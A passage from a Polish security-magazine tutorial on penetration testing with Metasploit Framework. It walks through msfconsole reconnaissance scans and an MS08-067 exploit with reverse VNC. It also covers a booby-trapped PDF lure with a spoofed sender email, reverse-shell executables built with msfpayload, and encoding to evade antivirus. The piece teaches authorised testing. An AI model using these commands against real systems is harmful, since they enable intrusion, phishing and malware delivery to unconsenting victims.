przez służby marketingowe szeregu firm oferujących rozwiązania z zakresu bezpieczeństwa informatycznego. Wobec zagrożeń ewoluujących w rewolucyjnym tempie, zabezpieczenia proaktywne wydają się być jedynym sensowym sposobem na zapewnienie zadowalającego poziomu bezpieczeństwa infrastruktury informatycznej. Co więcej, w najbliższym przewidywalnym czasie, tego rodzaju zabezpieczenia nie będą miały żadnych godnych konkurentów.

Ogólnie rzecz biorąc, bezpieczeństwo proaktywne skupia się na metodach mających zapobiec zaistnieniu skutecznych ataków (samym próbom ataków zapobiec nie możemy) na serwery, stacje robocze oraz sieci i wszelkie inne systemy komputerowe. Przykładem takiego systemu bezpieczeństwa jest NIPS (ang. Network Intrusion Prevention System), którego zadaniem jest nie tylko wyrycie ataku sieciowego, ale również zareagowanie na niego, np. poprzez zablokowanie adresu IP, z którego atak pochodzi. Proaktywnym działaniem jest jednak również... poczciwe instalowanie poprawek bezpieczeństwa, które również mogą nas przecież uchronić przed udanym (z punktu widzenia włamywacza) atakiem.

Jednak nawet najbardziej ortodoksyjne łatanie wszystkich posiadanych systemów

WOJCIECH SMOL

Z ARTYKUŁU DOWIESZ SIĘczym jest ofensywne bezpieczeństwo,

na czym polegają testy penetracyjne,

jakie praktyczne możliwości oferuje Metasploit Framework,

w jaki sposób komputerowi włamywacze odkrywają luki w systemach informatycznych i w jaki sposób się do nich włamują.

CO POWINIENEŚ WIEDZIEĆznać podstawowe rodzaje ataków na systemy informatyczne,

znać podstawy obsługi systemu Linux.

oraz stosowanie systemów wykrywania i przeciwdziałania włamaniom nie uchroni nas przed wszystkimi rodzajami ataków. Może się przecież zdarzyć, że dana podatność na atak jest już powszechnie znana, jednak producent dziurawego oprogramowania nie zdążył jeszcze opublikować stosownej poprawki.

W związku z wszystkimi ograniczeniami tradycyjnych metod zabezpieczania systemów informatycznych, okazało się, że jedną z najskuteczniejszych metod obrony własnych zasobów jest... poddanie ich testowym atakom za pomocą narzędzi stosowanych przez włamywaczy! W ten oto sposób narodził się kolejny element bezpieczeństwa proaktywnego – bezpieczeństwo ofensywne (ang. Offensive Security).

Atak najlepszą obronąPodejście defensywne do tematu bezpieczeństwa informatycznego (ang. Defensive Security) zakłada wdrażanie oraz pielęgnowanie systemów mających za zadanie przeciwdziałanie potencjalnym atakom na infrastrukturę danej organizacji. Przykładem defensywnego systemu może być dobrze znany od wielu lat system zapory sieciowej, chroniący wewnętrzną sieć oraz serwery przed atakami pochodzącymi z Internetu. Tego rodzaju system po wdrożeniu i skonfigurowaniu działa automatycznie, nie wymagając częstych zmian konfiguracyjnych.

Stopień trudności

Metasploit w praktyceArtykuł przedstawia krok po kroku wszystko to, co każdy zainteresowany bezpieczeństwem IT chciał zawsze wiedzieć o testach penetracyjnych oraz metodach stosowanych przez komputerowych włamywaczy, ale bał się własnoręcznie sprawdzić...

Page 21: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

21 HAKIN9

METASPLOIT W PRAKTYCE

3/2010

Czy jednak stosowane w danej organizacji systemy oraz procedury składające się na ogół bezpieczeństwa defensywnego są rzeczywiście w pełni skuteczne w obliczu najnowszych znanych ataków?

Problem w tym, że nie poznamy odpowiedzi na powyższe pytanie, jeśli nie zastosujemy metod określanych ogólnie mianem bezpieczeństwa ofensywnego (ang. Offensive Security). Bezpieczeństwo ofensywne natomiast opiera się przede wszystkim na praktycznym sprawdzaniu bieżącego stanu bezpieczeństwa systemu teleinformatycznego. Praktycznym do tego stopnia, że wykorzystuje w swych testach narzędzia stosowane przez... komputerowych włamywaczy. Osoba zajmująca się ofensywnym bezpieczeństwem będzie więc szukać w testowanym systemie luk za pomocą skanera Nessus, czy też określać widoczność komputerów oraz ich usług za pomocą skanera nmap. Najciekawszą część takiego przedsięwzięcia będą jednak stanowić testy penetracyjne.

Testy penetracyjne stanowią metodę oceny bezpieczeństwa systemu informatycznego poprzez symulowanie prawdziwych ataków mogących pochodzić od potencjalnych włamywaczy. Tester (zwany często etycznym hakerem lub pentesterem), korzystając z prawdziwych narzędzi umożliwiających wykonanie udanego włamania, próbuje przełamać zabezpieczenia testowanego systemu. Dopiero tego rodzaju testy są w stanie odpowiedzieć na pytanie, czy dany system informatyczny jest rzeczywiście odporny na znane obecnie rodzaje ataków. Tego rodzaju działania, polegające na wykonywaniu testowych włamań do własnych systemów (lub cudzych, za pełną zgodą uprawnionych administratorów oraz właścicieli) będą stanowić z pewnością fascynującą przygodę dla wszystkich osób zainteresowanych bezpieczeństwem informatycznym. Pozwoli nam to również na lepsze zrozumienie tego, w jaki sposób komputerowym włamywaczom udaje się przełamywać zabezpieczenia kolejnych systemów.

Profesjonalne przeprowadzenie testów penetracyjnych, zakończone utworzeniem szczegółowego raportu na temat wszystkich odkrytych zagrożeń wraz z proponowanymi krokami zabezpieczającymi, może się wiązać z koniecznością wynajęcia firmy specjalizującej się w tego typu usługach. Należy jednak pamiętać, że tego rodzaju testy musiałyby być przeprowadzane okresowo. Można również rozważyć zastosowanie zautomatyzowanego narzędzia stworzonego specjalnie do tego rodzaju testów. Za najlepszy tego rodzaju system uznaje się powszechnie Core Impact firmy Core Security Technologies. Narzędzie to jest w stanie za pomocą ogromnej bazy komercyjnych exploitów automatycznie atakować i przejmować kontrolę nad testowanymi komputerami. Core Impact zdolny jest nawet do wykonywania kolejnych ataków z poziomu przejętych już maszyn. Niestety, za tak rozbudowaną i zautomatyzowaną funkcjonalność trzeba jednak zapłacić grube tysiące dolarów. Na szczęście, w 2004 roku powstał darmowy oraz otwarty (open source) projekt Metasploit Framework, pozwalający każdemu zainteresowanemu na zgłębienie fascynującego świata etycznego hakingu.

Metasploit Framework pozwala nie tylko na używanie zawartych w nim w sposób modularny exploitów, ale również na tworzenie oraz testowanie własnych lub przerabianie tych już istniejących. Można więc powiedzieć, że możliwości przeprowadzania testów penetracyjnych za pomocą środowiska Mestasploit są nawet większe niż w przypadku rozwiązań komercyjnych. Wszystko to jest oczywiście okupione brakiem daleko posuniętego zautomatyzowania testu. Pod pewnym względem jest to jednak zaletą, gdyż ręczne konfigurowanie exploitów, payloadów (programów wykonywanych w przejętym systemie po udanym włamaniu testowym) oraz całego środowiska pracy testera przyczyni się z pewnością do lepszego zrozumienia wszystkich aspektów przeprowadzanych włamań testowych.

Praktyka czyni mistrza!Moim celem nie jest omówienie wszystkich, niezliczonych możliwości środowiska Metasploit . Nie będę się również zajmował istniejącymi metodologiami przeprowadzania testów penetracyjnych, takimi jak OSSTMM (ang. Open Source Security Testing Methodology Manual ). Niniejszy ar tykuł stanowi więc zaledwie wprowadzenie do tematu testów penetracyjnych z wykorzystaniem środowiska Metasploit Framework, w postaci kilku praktycznych przykładów ataków testowych. Prawie wszystkie osoby zainteresowane bezpieczeństwem informatycznym słyszały bowiem o projekcie Metasploit , ale tylko nieliczni widzieli jego możliwości w praktyce. Takie praktyczne przykłady najlepiej więc zilustrują możliwości całego środowiska oraz zachęcą zainteresowane osoby do dalszego zgłębiania tego niezwykle ciekawego tematu.

Jako środowisko pracy z Metasploit Framework polecam dystrybucję Linux LiveCD BackTrack 4. Ta jedna z najbardziej cenionych przez osoby, zajmujące się ofensywnym bezpieczeństwem, dystrybucja zawiera dziesiątki wbudowanych oraz skonfigurowanych do pracy narzędzi wykorzystywanych przez pentesterów, takich jak właśnie środowisko Metasploit . Dysponując więc systemem BackTrack, możemy od razu rozpocząć naszą przygodę z testami penetracyjnymi.

Po uruchomieniu systemu (domyślne poświadczenia: root/toor) BackTrack musimy przede wszystkim skonfigurować inter fejs sieciowy. W celu automatycznego pobrania konfiguracji z serwera DHCP przyda się polecenie dhclient .

Zanim przystąpimy do pracy ze środowiskiem Metasploit, warto wiedzieć, że w jego ramach istnieje kilka różnych inter fejsów użytkownika, a mianowicie:

msfconsole,• msfcli ,• msfgui ,• msfweb .

Page 22: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

22 HAKIN9 3/2010

METASPLOIT W PRAKTYCE

23 HAKIN9 3/2010

Każdy z wymienionych interfejsów posiada zarówno wady, jak i zalety. Jednakże msfconsole jest środowiskiem najbardziej stabilnym, najczęściej aktualizowanym oraz pozwalającym na dostęp do praktycznie wszystkich funkcji oferowanych przez środowisko Metasploit. Z tego powodu, w dalszych rozważaniach skupimy się wyłącznie na tym interfejsie. W systemie BackTrack 4, dostęp do msfconsole uzyskamy wykonując (będąc w katalogu /pentest/exploits/framework3/ ) polecenie ./msfconsole lub też wybierając z głównego systemowego menu opcję Backtrack/Penetration/Framework Version 3/msfconsole. Środowisko msfconsole pozwala na wykonywanie zewnętrznych poleceń, możemy więc przykładowo wywołać polecenie ping -c 1 hakin9.org . W celu uzyskania pomocy wystarczy skorzystać z poleceń help lub ?. Msfconsole oferuje również opcję uzupełniania wprowadzanych poleceń, dostępną za pomocą przycisku Tab. Jednym z najbardziej przydatnych poleceń, które musimy poznać, jest komenda show. Pozwala ona na wyświetlenie wszystkich modułów obecnych w środowisku Metasploit. Nie mniej przydatne będą również pozostałe komendy z rodziny show:

• show auxiliary – wyświetlenie modułów pomocniczych (takich jak skanery, moduły ataków DoS i inne),

• show exploits – wyświetlenie wszystkich dostępnych exploitów,

• show payloads – wyświetlenie wszystkich dostępnych payloadów (programów wykonywanych w docelowym systemie po udanym włamaniu testowym),

• show options – wyświetlenie wszystkich opcji dostępnych w ramach bieżącego modułu,

• show targets – wyświetlenie listy systemów podatnych na działanie bieżącego modułu,

• show advanced – wyświetlenie zaawansowanych opcji dostępnych w ramach bieżącego modułu.

Ponadto, poszczególne komendy zwracają wyniki dostosowane do bieżącego wyboru użytkownika. Przykładowo polecenie show payloads wyświetli wyłącznie payloady odpowiednie dla bieżącego modułu exploitu.

Inne komendy, jakie należy sobie przyswoić przed rozpoczęciem skutecznych testów penetracyjnych, to:

• search – wbudowana funkcja wyszukiwania w oparciu o wyrażenia regularne,

• info – wyświetlenie szczegółowych informacji o danym module,

• use – wybór danego modułu do dalszego działania,

• connect – podłączenie się do zdalnego hosta o określonym w parametrach adresie IP oraz porcie,

• set – ustawianie wartości parametrów dla bieżącego modułu,

• check – sprawdzenie podatności docelowego systemu na bieżący moduł,

• setg – ustawienie zmiennej globalnej w środowisku msfconsole,

• exploit – uruchomienie bieżącego exploitu,

• run – uruchomienie bieżącego modułu pomocniczego,

• back – wyjście z trybu bieżącego modułu.

Ten niewielki zbiór przedstawionych powyżej poleceń, pozwala nam już na rozpoczęcie pełnoprawnych testów penetracyjnych. Warto jeszcze tylko zapamiętać sobie typowe kroki, które należy wykonać, w celu wykonania udanego włamania testowego za pomocą środowiska Metasploit, są to kolejno:

• wybór oraz konfiguracja odpowiedniego exploitu (kodu będącego w stanie spenetrować docelowy system, wykorzystując do tego jedną ze znajdujących się w nim luk),

• sprawdzenie, czy docelowy system jest podatny na działanie wybranego exploitu (opcjonalnie),

• wybór oraz konfiguracja odpowiedniego payloadu (kodu wykonywanego w spenetrowanym systemie po udanym wykonaniu się exploitu),

• wybór metody kodowania payloadu (opcjonalnie, kodowanie ma na celu uniknięcie wykrycia ataku przez systemy takie jak IDS),

• wykonanie właściwego ataku testowego.

Zanim jednak zaczniemy na dobre, zaktualizujmy jeszcze całe środowisko Metasploit za pomocą polecenia svn update . W jego wyniku rozpocznie się automatyczny proces aktualizacyjny, dzięki któremu do dyspozycji otrzymamy wszystkie najnowsze, dostępne na Rysunek 1. Konsola msfconsole w systemie BackTrack Linux LiveCD

Page 23: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

22 HAKIN9 3/2010

METASPLOIT W PRAKTYCE

23 HAKIN9 3/2010

obecną chwilę moduły. Wyposażeni w odpowiednią wiedzę oraz broń załadowaną najnowszą amunicją możemy wreszcie przystąpić do ataku.

RekonesansPierwszym etapem działania komputerowego włamywacza planującego zaatakowanie danej infrastruktury informatycznej jest zawsze rekonesans. Jest to zespół metod technicznych, ale również socjotechnicznych, mający na celu pozyskanie wszelkich dostępnych informacji na temat atakowanej infrastruktury oraz zarządzającego nią personelu. Najczęściej stosowane na etapie rekonesansu narzędzia, to między innymi: najrozmaitsze skanery portów i usług, Open source intelligence (zdobywania informacji wywiadowczych z ogólnie dostępnych źródeł, np. z pomocą techniki Google Hacking), wyciąganie danych zawartych w systemach DNS, itp. Temat rekonesansu omówiłem szczegółowo w artykule Rozpoznanie przed atakiem opublikowanym na łamach magazynu hakin9 07/2009.

Celem takiego wywiadu jest oczywiście określenie jakiego rodzaju system operacyjny, usługi serwerowe, programy itd. pracują na serwerach, stacjach roboczych oraz specjalizowanych urządzeniach (takich jak sprzętowe systemy NIDS) w docelowej infrastrukturze. Dopiero uzyskanie takiej wiedzy pozwoli włamywaczowi na zaatakowanie konkretnych systemów i usług za pomocą przeznaczonych specjalnie dla nich exploitów.

Testy penetracyjne symulujące działanie prawdziwych włamywaczy również muszą rozpocząć się od zebrania podobnych informacji o testowanej infrastrukturze. Takie działanie pozwoli następnie na testowanie konkretnych systemów za pomocą wyłącznie odpowiednich modułów. Nie ma przecież żadnego sensu testowanie serwera pracującego pod kontrolą Linuksa za pomocą exploitu stworzonego dla systemów Windows.

Środowisko Metasploit Framework oczywiście w pełni wspiera etap rekonesansu, przede wszystkim

w postaci szeregu modułów pomocniczych (ang. Auxiliary Modules ). Przykładowo, chcąc odnaleźć moduły pozwalające na skanowanie portów, wystarczy skorzystać z polecenia search portscan . Większość modułów pomocniczych, a w szczególności wszystkie skanery, mogą zostać (za pomocą opcji RHOSTS ) skonfigurowane do pracy z całymi zakresami adresów IP zapisanymi w postaci 192.168.10.10-192.168.10.20 lub też za pomocą zapisu CIDR (np. 192.168.10.0/24). Możliwe jest również podawanie kilku zakresów (np. 192.168.10.0/24, 192.168.20.0/24).

Przeskanujmy więc sieć 192.168.0.0/24 w poszukiwaniu maszyn o otwartym porcie 80. W tym celu w środowisku msfconsole wystarczy wykonać następujące polecenia:

• use scanner/portscan/syn (wybór oraz wejście w tryb konfiguracji modułu skanera syn),

• show options (wyświetlenie wszystkich opcji dostępnych w ramach wybranego skanera),

• set INTERFACE eth0 (wybranie systemowego inter fejsu sieciowego),

• set PORTS 80 (ustawienie numeru portów do przeskanowania),

• set RHOSTS 192.168.0.0/24 (ustawienie zakresu adresów IP do przeskanowania),

• set THREADS 10 (ustawienie liczby współbieżnych wątków skanowania),

• run (uruchomienie właściwego skanowania).

W efekcie otrzymamy listę adresów o otwartych portach nr 80, w następującej postaci:

[*] TCP OPEN 192.168.0.1:80[*] TCP OPEN 192.168.0.150:80[*] Auxiliary module execution completed

Załóżmy teraz, że naszym celem jest ustalenie wersji systemów Windows oraz wersji serwerów Samba pracujących na maszynach Unix/Linux w sieci 192.168.1.0/24. Zadanie to z pozoru wydaje się już być nieco bardziej skomplikowane od swego poprzednika. W rzeczywistości w celu uzyskania pożądanych wyników, wystarczy tylko ponownie skorzystać z odpowiedniego modułu Metaspoloit (scanner/smb/version ) ! Tym razem procedura będzie więc wyglądać następująco:

• use scanner/smb/version (wybór oraz wejście w tryb konfiguracji modułu skanera smb/version),

• set RHOSTS 192.168.1.0/24 (ustawienie zakresu adresów IP do przeskanowania),

Rysunek 2. Exploit ms08_067_netapi w akcji – sesja VNC do systemu Windows XP została nawiązana

Page 24: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

24 HAKIN9 3/2010

METASPLOIT W PRAKTYCE

25 HAKIN9 3/2010

• set THREADS 50 (ustawienie liczby współbieżnych wątków skanowania),

• run (uruchomienie właściwego skanowania).

W efekcie otrzymamy listę adresów wraz z oczekiwanymi informacjami o wersjach systemów Windows oraz serwerach Samba, w następującej postaci:

[*] 192.168.1.10 is running Windows 7 Enterprise (Build 7600) (language: Unknown)[*] 192.168.1.126 is running Unix Samba 3.0.22 (language: Unknown)[*] 192.168.1.161 is running Windows 2003 R2 Service Pack 2 (language: Unknown)[*] 192.168.1.221 is running Windows XP Service Pack 3 (language: English)[*] Auxiliary module execution completed

Co natomiast możemy zrobić, jeśli chcielibyśmy odnaleźć serwery MSSQL (nawet te korzystające z dynamicznego portu TCP) pracujące w danej sieci? Oczywiście ponownie wystarczy tylko skorzystać z odpowiedniego modułu środowiska Metasploit! Tym razem będzie to moduł scanner/mssql/mssql_ping , a cała procedura wygląda następująco:

• use scanner/mssql/mssql_ping (wybór oraz wejście w tryb konfiguracji modułu skanera mssql/mssql_ping ),

• set RHOSTS 192.168.1.0/24 (ustawienie zakresu adresów IP do przeskanowania),

• set THREADS 50 (ustawienie liczby współbieżnych wątków skanowania),

• run (uruchomienie właściwego skanowania).

W efekcie otrzymamy listę odnalezionych serwerów MSSQL wraz z szeregiem informacji na ich temat, przykładowo:

[*] SQL Server information for 192.168.1.250:[*] tcp = 1433[*] np = ZHAKUJMNIE-0pipesqlquery[*] Version = 8.00.194[*] InstanceName = MSSQLSERVER

[*] IsClustered = No[*] ServerName = ZHAKUJMNIE-0[*] Auxiliary module execution completed

Metasploit Framework udostępnia wiele równie interesujących modułów, przydatnych na etapie rekonesansu. Z najciekawszych i najczęściej wykorzystywanych warto jeszcze wymienić:

• scanner/ip/ipidseq (skanowanie Idle),• scanner/ssh/ssh_version

(wykrywanie wersji serwera SSH),• scanner/ftp/anonymous (wykrywanie

serwerów FTP zezwalających na anonimowe zalogowanie użytkownika),

• scanner/snmp/community (wykrywanie domyślnych ustawień community strings dla urządzeń zarządzanych za pomocą protokołu SNMP),

• auxiliary/snif fer/psnuffle (moduł będący w stanie podsłuchiwać hasła używane w protokołach pop3, imap, f tp, oraz HTTP. Oferuje funkcjonalność podobną do programu Dsnif f.).

Na etapie rekonesansu, warto również skorzystać z modułu scanner/vnc/vnc_none_auth , który pozwala na wykrycie serwerów VNC niezabezpieczonych żadnym hasłem. Wykorzystanie tego prostego w obsłudze skanera (praktycznie wystarczy tylko ustawić zakres adresów IP do przeskanowania) może dać bardzo zaskakujące rezultaty. Może się bowiem okazać, że już na etapie rekonesansu uda nam się uzyskać pełny dostęp do graficznego środowiska niektórych maszyn pracujących w testowanej infrastrukturze! Warto również wiedzieć o istnieniu skanera będącego w stanie wyszukać wszystkie zasoby udostępnione za pomocą protokołu SMB i chronione za pomocą określonych poświadczeń. Jeśli więc znamy kombinację nazwy użytkownika oraz hasła aktywną na jednej z maszyn lub podejrzewamy, że dane poświadczenia mogą być gdzieś w testowanej sieci wykorzystywane do udostępniania zasobów, możemy skorzystać z następującej procedury:

• use auxiliary/scanner/smb/login (wybór oraz wejście w tryb konfiguracji modułu skanera smb/login),

• set RHOSTS 192.168.1.0/24 (ustawienie zakresu adresów IP do przeskanowania),

• set SMBUser uzytkowniksmb (ustawienie prawdopodobnej nazwy użytkownika),

• set SMBPass haslouzytkownika (ustawienie prawdopodobnego hasła użytkownika),

• set THREADS 50 (ustawienie liczby współbieżnych wątków skanowania),

• run (uruchomienie właściwego skanowania).

W efekcie otrzymamy listę adresów wraz z informacją, czy testowane poświadczenia pozwoliły na dostęp do zasobów udostępnianych poprzez protokół SMB, przykładowo:

[*] 192.168.1.14 - FAILED 0xc000006d - STATUS_LOGON_FAILURE[*] 192.168.1.45 - FAILED 0xc000006d - STATUS_LOGON_FAILURE[*] 192.168.1.216 - SUCCESSFUL LOGIN (Unix)[*] Auxiliary module execution completed

Jak widać z powyższych przykładów, Metasploit Framework udostępnia funkcje w niczym nie ustępujące tak znanym programom jak Nmap, czy też Nessus, a to dopiero zaledwie początek jego możliwości!

Właściwy atak testowyPrzeprowadzony rekonesans pozwolił nam na zebranie podstawowych informacji na temat poszczególnych systemów pracujących w testowanej infrastrukturze. Na tym etapie powiśmy już więc znać:

• adresy IP poszczególnych maszyn i urządzeń,

• numery otwartych portów TCP/UDP dla poszczególnych adresów IP,

• rodzaje oraz wersje systemów operacyjnych pracujące na poszczególnych maszynach/urządzeniach,

Page 25: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

24 HAKIN9 3/2010

METASPLOIT W PRAKTYCE

25 HAKIN9 3/2010

• usługi serwerowe (serwery WWW, pocztowe, bazodanowe itd.) dostępne pod konkretnymi adresami IP,

• podstawowe błędy konfiguracyjne poszczególnych maszyn (takie jak obecność niezabezpieczonych serwerów VNC, otwarte udziały SMB, itd.).

Dysponując tego rodzaju wiedzą, możemy przejść do właściwych testów penetracyjnych, czyli za pomocą odpowiednio dobranych exploitów sprawdzić rzeczywistą podatność testowanych systemów na poszczególne ataki.

Jako przykład testu penetracyjnego z prawdziwego zdarzenia, spróbujemy przejąć pełną kontrolę nad systemem Windows XP za pomocą exploitu windows/smb/ms08_067_netapi . Moduł ten jest w stanie wykorzystać krytyczny błąd w zabezpieczeniach usługi Serwer (Biuletyn zabezpieczeń firmy Microsoft MS08-067) obecny w wielu systemach z rodziny Windows i pozwalający na zdalne wykonanie kodu. Warunkiem udanego włamania testowego jest brak w docelowym systemie poprawki bezpieczeństwa KB921883 . Jako payload wykorzystamy moduł windows/vncinject/reverse_tcp . W wyniku udanego testu otrzymamy więc w pełni funkcjonalną sesję VNC pozwalającą na swobodne zarządzanie docelowym systemem. Procedura testu wygląda następująco:

• use windows/smb/ms08_067_netapi (wybór oraz wejście w tryb konfiguracji modułu exploitu ms08_067_netapi ),

• set RHOST 192.168.0.71 (ustawienie adresu IP systemu poddawanego testowi),

• set target 0 (ustawienie automatycznego wyboru celu – automatyczne dostosowanie się exploitu do wersji systemu Windows pracującego na docelowym komputerze),

• set payload windows/vncinject/reverse_tcp (wybór oraz wejście w tryb konfiguracji modułu payloadu vncinject/reverse_tcp),

• set lhost 192.168.0.100 (ustawienie adresu IP systemu pentestera, z którym payload ma nawiązać połączenie reverse VNC),

• exploit .

W efekcie otrzymamy sesję VNC, za pomocą której możemy zarządzać zdalnym systemem!

W podobny sposób możemy testować bezpieczeństwo innych systemów operacyjnych oraz usług pracujących w docelowej infrastrukturze. Na etapie rekonesansu odnaleźliśmy za pomocą wspomnianego już skanera mssql_ping serwer MSSQL? Pora na sprawdzenie jego zabezpieczeń za pomocą odpowiednich exploitów. W celu odnalezienia odpowiednich modułów wystarczy skorzystać z polecenia search mssql . W wyniku otrzymamy kilka modułów, między innymi windows/mssql/mssql_payload . Za pomocą polecenia info windows/mssql/mssql_payload uzyskamy więcej informacji na

temat wybranego modułu. Show options pozwoli natomiast na wyświetlenie wszystkich dostępnych opcji i w efekcie uruchomienie modułu przeciwko wybranej maszynie.

Tego rodzaju podejście stanowi właśnie o sile Metasploit Framework! Otrzymujemy bowiem kilkaset exploitów stworzonych przez różnych autorów, jednakże każdy z modułów dostępny jest za pomocą wspólnego interfejsu, wyposażony jest w podobne opcje konfiguracyjne i może być szybko odnaleziony za pomocą prostej kwerendy. Początkujący pentester musi więc tylko opanować podstawowe polecenia msfconsole i przebrnąć przez kilka pierwszych ataków testowych, a dalsza praca z Metaspoloit Framework powinna być już tylko czystą przyjemnością!

Nie tylko exploityOprócz typowych exploitów będących w stanie w sposób zautomatyzowany wykorzystywać luki w oprogramowaniu

Rysunek 3. Tylko 7 z 41 silników antywirusowych rozpoznało payload zakodowany przez msfencode

Page 26: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

26 HAKIN9 3/2010

METASPLOIT W PRAKTYCE

27 HAKIN9 3/2010

ofiary, Metasploit pozwala także na przeprowadzania ataków wymagających interwencji ze strony użytkownika docelowego systemu. Tego rodzaju ataki zyskują coraz większą popularność i nic nie stoi na przeszkodzie, by uwzględnić je w procedurze testów penetracyjnych. Przykładowo moduł adobe_utilprintf pozwala na wygenerowanie pliku PDF, który po uruchomieniu przez użytkownika na docelowej maszynie pozwoli nam na przejęcie kontroli nad systemem ofiary. W celu wykonania takiego ataku testowego wystarczy tylko skorzystać z następującej procedury:

• use exploit/windows/fileformat/adobe_utilprintf (wybór oraz wejście w tryb konfiguracji modułu adobe_utilprintf ),

• set FILENAME ZarzadzeniePrezesa.pdf (ustawienie nazwy pliku zachęcającej do jego otwarcia),

• set PAYLOAD windows/meterpreter/reverse_tcp (wybór payloadu, który ma zostać uruchomiony poprzez złośliwy plik PDF),

• set LHOST 192.168.10.128 (ustawienie adresu komputera mającego uzyskać dostęp do komputera ofiary),

• set LPORT 4455 (ustawienie portu, na którym ma się odbyć połączenie),

• exploit (wygenerowanie pliku PDF).

W wyniku otrzymamy (domyślnie w katalogu /pentest/exploits/framework3/data/exploits ) specjalnie spreparowany plik ZarzadzeniePrezesa.pdf .

Zanim prześlemy nasz plik docelowemu użytkownikowi, przygotujemy sobie jeszcze moduł, który będzie zdolny do obsłużenia połączenia z naszą ofiarą. Oczywiście ponownie posłużymy się środowiskiem msfconsole :

• use exploit/multi/handler (wybór oraz wejście w tryb konfiguracji modułu handler ),

• set PAYLOAD windows/meterpreter/reverse_tcp (informacja dla hanldera odnośnie tego z jakim payloadem połączenia ma się spodziewać),

• set LPORT 4455,• set LHOST 192.168.10.128 ,• exploit .

W tym momencie dysponujemy już listenerem oczekującym połączenia. Teraz wystarczy już tylko przesłać potencjalnej ofierze plik ZarzadzeniePrezesa.pdf. Jeśli wiadomość e-mail będzie wystarczająco przekonywująca (możemy przecież w stosunkowo prosty sposób podrobić nadawcę wiadomości e-mail tak, by nadawcą było np. konto pocztowe używane przez biuro zarządu; może nam do tego celu posłużyć dostępny w środowisku BackTrack skrypt sendEmail) użytkownik docelowego systemu prawdopodobnie otworzy nasz plik. Jeśli tylko na komputerze znajduje się oprogramowanie Adobe Reader 8.1.2 (wersja podatna na błąd przepełnienia bufora, który wykorzystuje wybrany przez nas moduł), to pentester uzyska dostęp do docelowego komputera za pomocą następującej konsoli:

session[*] Meterpreter session

1 opened (192.168.10.128:4455 ->

192.168.10.160:49322)

meterpreter >

Zwróćmy jeszcze uwagę na kilka szczegółów. Warto (tak jak to pokazano w powyższym przykładzie) zmieniać domyślną wartość zmiennej LPORT (4444), gdyż port 4444, ze względu właśnie na domyślne wykorzystanie w wielu modułach Metasploit, może być w niektórych organizacjach szczególnie monitorowany lub po prostu blokowany. Payloady typu reverse (takie, które nawiązują połączenie z przejętej maszyny do komputera pentestera) mają szczególną szansę na powodzenie. Wynika to z faktu, że ewentualne systemy typu firewall obecne w docelowym systemie, będą zazwyczaj bardziej skłonne do zezwolenia na połączenia wychodzące z systemu niż te do niego przychodzące.

Metasploit daje nam również możliwość łatwego wygenerowania wykonywalnego pliku EXE na podstawie wybranego payloadu. Przykładowo w celu wygenerowania pliku EXE w

oparci o payload shell_reverse_tcp wystarczy tylko w wierszu poleceń systemu BackTrack (będąc w katalogu /pentest/exploits/framework3 ) wykonać następujące polecenie: ./msfpayload windows/shell_reverse_tcp LHOST=192.168.10.128 LPORT=4455 X > /tmp/program.exe . Plik program.exe, który powstał w wyniku powyższego polecenia w katalogu /tmp może następnie zostać użyty do ataku socjotechnicznego, zachęcającego użytkownika zdalnego systemu do jego uruchomienia. Jeśli tylko użytkownik docelowego systemu uruchomi tak spreparowany plik, udostępni tym samym pentesterowi dostęp do własnego systemu za pomocą zdalnego wiersza poleceń. Tester, w celu odebrania zdalnego połączenia, będzie musiał jeszcze tylko skonfigurować moduł exploit/multi/handler w sposób analogiczny do procedury przedstawionej w poprzednim przykładzie (zmianie ulegnie jedynie parametr set payload windows/shell/reverse_tcp, co pozwoli na odebranie połączenia od zawartego w pliku EXE payloadu shell/reverse_tcp).

Tak przygotowany plik EXE będzie spełniał swoje zadania, jednak istnieje duże prawdopodobieństwo, że zostanie wykryty jako złośliwe oprogramowanie przez program antywirusowy działający w docelowym systemie. Jednak i z tym możemy sobie poradzić z pomocą środowiska Metasploit! Nasz plik wykonywalny może bowiem zostać zakodowany za pomocą dostępnego w ramach Metasploit polecenia msfencode. W celu wyświetlenia dostępnych technik kodowania, możemy wywołać z poziomu wiersza poleceń systemu BackTrack (będąc w katalogu /pentest/exploits/framework3 ) komendę ./msfencode -l . Spośród wielu dostępnych technik kodowania wybierzemy doskonały moduł x86/shikata_ga_nai . Ostatecznie, polecenie generujące zakodowany plik wykonywalny będzie miało następującą postać: ./msfpayload windows/shell_reverse_tcp LHOST=192.168.10.128 LPORT=4455 R | ./msfencode -e x86/shikata_ga_nai -t exe > /tmp/program2.exe. Istnieje możliwość, że

Page 27: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

26 HAKIN9 3/2010

METASPLOIT W PRAKTYCE

27 HAKIN9 3/2010

